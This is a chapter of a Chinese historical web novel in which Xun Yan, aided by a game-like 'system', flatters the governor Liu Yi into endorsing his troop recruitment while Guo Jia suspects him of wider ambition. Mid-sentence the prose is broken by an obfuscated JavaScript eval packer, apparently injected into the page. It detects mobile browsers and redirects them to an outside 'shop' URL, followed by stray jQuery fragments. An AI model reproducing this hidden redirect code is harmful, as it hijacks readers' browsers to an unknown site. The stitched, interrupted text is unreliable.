写罢,荀衍将绢帛仔细折好,递给家仆。
“亲手交到郭奉孝手中。”
郭嘉府邸。
后院的凉亭内,棋盘上黑白子交错,已是中盘。
就在此时,荀府的家仆匆匆赶到,将那封绢帛呈上。
郭嘉展开一看,原本慵懒的神情瞬间一扫而空。
戏志才捻着一枚白子,长考许久,正要落下,却见对面的郭嘉忽然抬手,止住了他的动作。
“今日到此为止。”郭嘉说着,竟直接伸手,将棋盘上的棋子拂乱。
“郭奉孝!”戏志才气得吹胡子瞪眼,“你耍赖!眼看你大龙将死,便要悔棋不成?”
郭嘉将绢帛往怀里一揣,转身便走,步履匆匆,竟是片刻都不愿停留。
“哎!你去哪?”戏志才在后面喊。
“阿衍想我了。”郭嘉头也不回地摆了摆手,声音里带着几分按捺不住的得意。
戏志才看着他那副急不可耐的背影,再联想方才那封连内容都没让他瞥见的信,气得直笑。
“重色轻友!简直是重色轻友!”
他摇着头,一边笑一边感慨。
如果戏志才穿越到现代,一定会吐槽,这恋爱的酸臭味,不闻也罢。
郭嘉几乎是踏着风冲进荀衍的院子。
一进门,便看到荀衍半倚在廊下的软榻上,显然是在等他。
“奉孝兄。”他弯起眼睛。
郭嘉几步走到榻边,伸手探了探荀衍的额头,温度正常。
“黏人精。”他嘴上抱怨着,手却极其自然地拿起旁边的毯子,盖在荀衍的腿上,“这才刚好些,又在风口坐着。”
荀衍也不反驳,只是拉住他的袖子,仰着脸,神情里带着几分委屈:“我心中有事,坐不住。”
他将刘翊当街打擂台的事情简略说了一遍。
“兄长也去看了,气得不行。”
郭嘉听完,嗤笑一声。
“刘翊这是使上滚刀肉那一套了?”
他盘腿在荀衍身侧坐下,整个人陷进软榻里,顺手拿起桌上的葡萄剥开,递到荀衍嘴边。
“所以呢?”郭嘉问,“叫我来,是想让我帮你出个主意?”
荀衍张口含住那颗葡萄,酸甜的汁水在口中爆开。
“系统,再次扫描济南城防态势。”
【扫描请求已确认。本次扫描需消耗20%体力值。确认执行?】
“确认!”
荀衍抓住郭嘉的手,“我还要吃葡萄。”
郭嘉一连喂了几颗,荀衍感觉体力增长了10%,但脑海中浮现的画面,让他心头愈发沉重。
济南城外的黄巾军,竟隐隐有合围之势。而城内,几家大族非但没有出兵相助,反而闭门不出,暗中囤粮。
父亲和大兄,已是内忧外患。
不行,不能再等了!
“我想请奉孝兄带我去太守府一趟,济南情况危机,可不能在耽搁。”
郭嘉捏着荀衍的手腕,“你有什么主意,说出来。我替你去,或者让文若兄去。你这身子骨刚好利索,经不起折腾。”
荀衍摇了摇头,抽回自己的手,顺势拢了拢腿上的毯子。“兄长行事,素来端方。他未必能放下身段,去理解我的做法。”
他顿了顿,目光转向郭嘉,“至于奉孝兄长你……毕竟,不能代表我荀氏。”
到底不是荀家人。
郭嘉心头莫名一涩。
是了,这小子一口一个“阿兄”叫得亲热,可自己终究是个外人。
郭嘉寻来一辆马车,趁着荀彧在募兵处与郡吏周旋的当口,将荀衍从荀府后门偷渡了出来。
太守府。
刘翊听闻荀衍与郭嘉联袂求见,不耐烦地挥了挥手,“让他们进来。”
厅堂内,荀衍一进门,便对着主座上的刘翊行了一个极为标准的大礼。
“晚辈荀衍,见过府君。”
伸手不打笑脸人。刘翊见他姿态放得如此之低,心里的那点火气也消散了些。
“坐吧。”他指了指下首的座位。
荀衍却没坐,而是又一拱手,言辞恳切:“府君乃宗室贵胄,天潢贵胄,坐镇颍川,方能被朝廷重点救援。我父荀绲,不过一介臣子,如今身陷重围,恐难为朝廷分忧。晚辈心忧家父,这才斗胆,想募乡勇北上救援。此举实属无奈,若有僭越之处,皆是晚辈一人之过。”
他这一番话,将刘翊高高捧起。
刘翊听得极为受用,脸上的神情也缓和下来。“你也是一片孝心,本官可以理解。”
“府君知人善任,颍川之围,若无府君调度有方,城中将士用命,焉能守到今日?”荀衍继续奉上高帽,“颍川能人辈出,皆因府君在此。晚辈不才,也想为府君分忧。”
刘翊被他夸得有些飘飘然,捋着胡须,颇为自得。
“哦?如何分忧?”
“晚辈所募乡勇,只为救父。”荀衍终于抛出了自己的核心目的,他抬起头,目光清澈,满是真诚,“待济南之围一解,这支兵马,晚辈不敢私藏,愿悉数交由府君统辖,以充实颍川守备,为府君效力!”
什么?
刘翊的眼睛瞬间睁大了。他几乎以为自己听错了。
荀家费心费力招募的兵马,最后白送给他?
他脑中飞速盘算。荀家出钱出人,他坐享其成,最后还能平白得一支两千人的军队。这天底下,还有这等好事?
难道荀家真不是想拥兵自重?只是为了救人?
刘翊想来想去,也想不出自己有任何损失。他看向荀衍,那少年一脸的坦荡与焦急,不似作伪。
贪婪,压倒了最后一丝警惕。
“咳。”刘翊清了清嗓子,故作矜持道,“既然你如此有心,本官也不能不近人情。这样吧,我即刻命人撤了府衙的募兵台。”
“府君万万不可!”荀衍急忙开口。
刘翊一愣。
只听荀衍继续说道:“府君此举,岂不是显得我荀氏与府君离心离德?依晚辈之见,不如对外宣称,府君感念我父忠君体国,又怜我荀氏在守城战中倾尽家财,故而特许我等募兵,并亲自相助。府君所募之兵,亦是为我荀氏所募。如此一来,既能彰显府君爱护同僚的仁德之心,又能加快募兵的速度,岂非事倍功半?”
刘翊听得连连点头,觉得荀衍这话说到了他心坎里。既
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193799|197113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赚了名声,又得了实惠。
只是……
“是事半功倍。”刘翊纠正道,脸上露出一丝智力上的优越感。
荀衍立刻躬身,态度谦恭至极:“府君一字之师,晚辈受教了。”
他随即从袖中取出一卷早已备好的空白锦帛,“为免日后有口舌之争,晚辈愿与府君立下字据。待济南事了,所有兵马,尽归府君调遣。”
刘翊见他如此上道,心中最后一点疑虑也烟消云散,大笔一挥,当场便签下了自己的名字,还盖上了太守府的大印。
从太守府出来,坐上返回的马车,郭嘉一直一言不发。
车厢内光线昏暗,荀衍靠在软垫上,闭目养神。
直到马车行至半途,郭嘉那带着几分戏谑的声音才悠悠响起。
“阿衍,好算计。”
荀衍睁开眼,看向他。
“刘府君今日,确实是‘事倍功半’。”郭嘉的唇角勾起,那双桃花眼里满是洞悉一切的了然。
“奉孝兄长不觉得,我荀氏是黔驴技穷,才向那刘翊低头服软?”荀衍反问。
“低头?”郭嘉轻笑一声,“你昨日说,要以荀氏部曲为骨干,每五人设一伍,由一名部曲老兵担任伍长。”
他的目光落在荀衍脸上,一字一顿。
“到时交还给刘翊的,怕不是一支唯荀氏之命是从的军队?”
郭嘉的身子微微前倾,两人之间的距离近得能感受到彼此的呼吸。
他盯着荀衍那双平静无波的眸子,问出了那个石破天惊的问题。
“告诉我,阿衍。”
“你是不是想拿下整个颍川?”
荀衍靠着车壁的身体,有那么一瞬的僵硬。
“兄长何出此言?”荀衍的声音听起来无辜又茫然。
郭嘉没有说话,只是看着他。
不愧是鬼才,观察力真强。
我才刚漏了一点点尾巴,就被他抓住了。
荀衍在心里快速盘算,面上却露出一丝苦涩的笑意。“拿下颍川?兄长太高看我了。”
他垂下眼帘,“我所做的一切,不过是为了自保。颍川是荀氏根基所在,若此地不稳,我荀氏一族,在这乱世之中,与那狂风中的飘絮何异?今日能有一个刘翊,明日便可能有张翊、王翊。与其将身家性命寄托于他人之手,不如自己手中多握几分筹码。”
郭嘉听完,脸上的神情没有丝毫变化,只是唇角那抹若有若无的弧度,似乎加深了一些。
“哦?只是自保?”他拖长了音调,显然并不完全相信。
荀衍被他看得有些不自在,索性破罐子破摔,抬起头,目光坦然地回视:“自然。”
郭嘉伸出手,越过两人之间的空隙,轻轻捏了捏荀衍的脸颊。
“知道了。”他收回手,懒洋洋地靠回软垫上。
这代表着他暂时放下了这个话题。
荀衍暗自松了口气,却听郭嘉的声音再次响起。
“阿衍有何志向?”
这是在问他有没有志向逐鹿天下?
荀衍的脑海中,下意识地闪过一幅画面。
黄袍加身,九龙在顶,文武百官,山呼万岁。